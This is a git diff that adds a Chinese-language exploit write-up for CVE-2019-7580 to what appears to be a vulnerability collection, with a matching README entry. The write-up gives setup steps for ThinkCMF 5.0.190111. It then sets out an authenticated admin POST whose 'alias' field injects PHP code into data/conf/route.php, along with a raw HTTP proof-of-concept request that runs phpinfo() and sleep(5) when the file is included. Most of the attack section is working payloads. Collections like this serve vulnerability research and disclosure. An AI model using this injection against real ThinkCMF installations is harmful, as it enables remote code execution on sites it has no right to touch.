diff --git a/CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md b/CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md
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+## CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行  
+
+# 0x00 环境搭建  
+
+首先去thinkcmf下载5.0的最新版  
+https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip  
+切换到web根目录下，比如/var/www，然后新建一个目录：ThinkCMF-5.0.190111  
+把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php，将其中的  
+
+```
+define('CMF_ROOT', __DIR__ . '/../');
+```
+
+修改为  
+
+```
+define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
+```
+
+然后一步步完成安装。  
+参考：https://blog.csdn.net/youaregoo/article/details/82219722  
+
+# 0x01 利用过程：  
+
+后台登录状态下，  
+1、将payload插入数据库并读取然后写入data/conf/route.php文件  
+
+```
+POST /portal/admin_category/addpost.html
+parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
+```
+
+2、然后访问：  
+
+```
+/portal/admin_category/index.html
+```
+
+触发  
+
+```
+include data/conf/route.php  
+```
+
+操作，执行payload。下图以执行sleep(5)作为演示。  
+
+![](./img/48.png)
+
+## POC  
+
+```raw
+POST /portal/admin_category/addpost.html HTTP/1.1
+Host: 192.168.170.209
+Content-Length: 183
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
+Connection: close
+
+parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2
+```
+
+## 测试demo    
+
+![](./img/49.gif)
+
+> 来源： https://xz.aliyun.com/t/3997 
\ No newline at end of file
diff --git a/README.md b/README.md
index be19bac..bba6e4c 100644
--- a/README.md
+++ b/README.md
@@ -84,6 +84,7 @@
 - [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md)
 - [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md)
 - [apache_solr_rce](./solr_rce.md)
+- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md)
 
 ## 提权辅助相关
 
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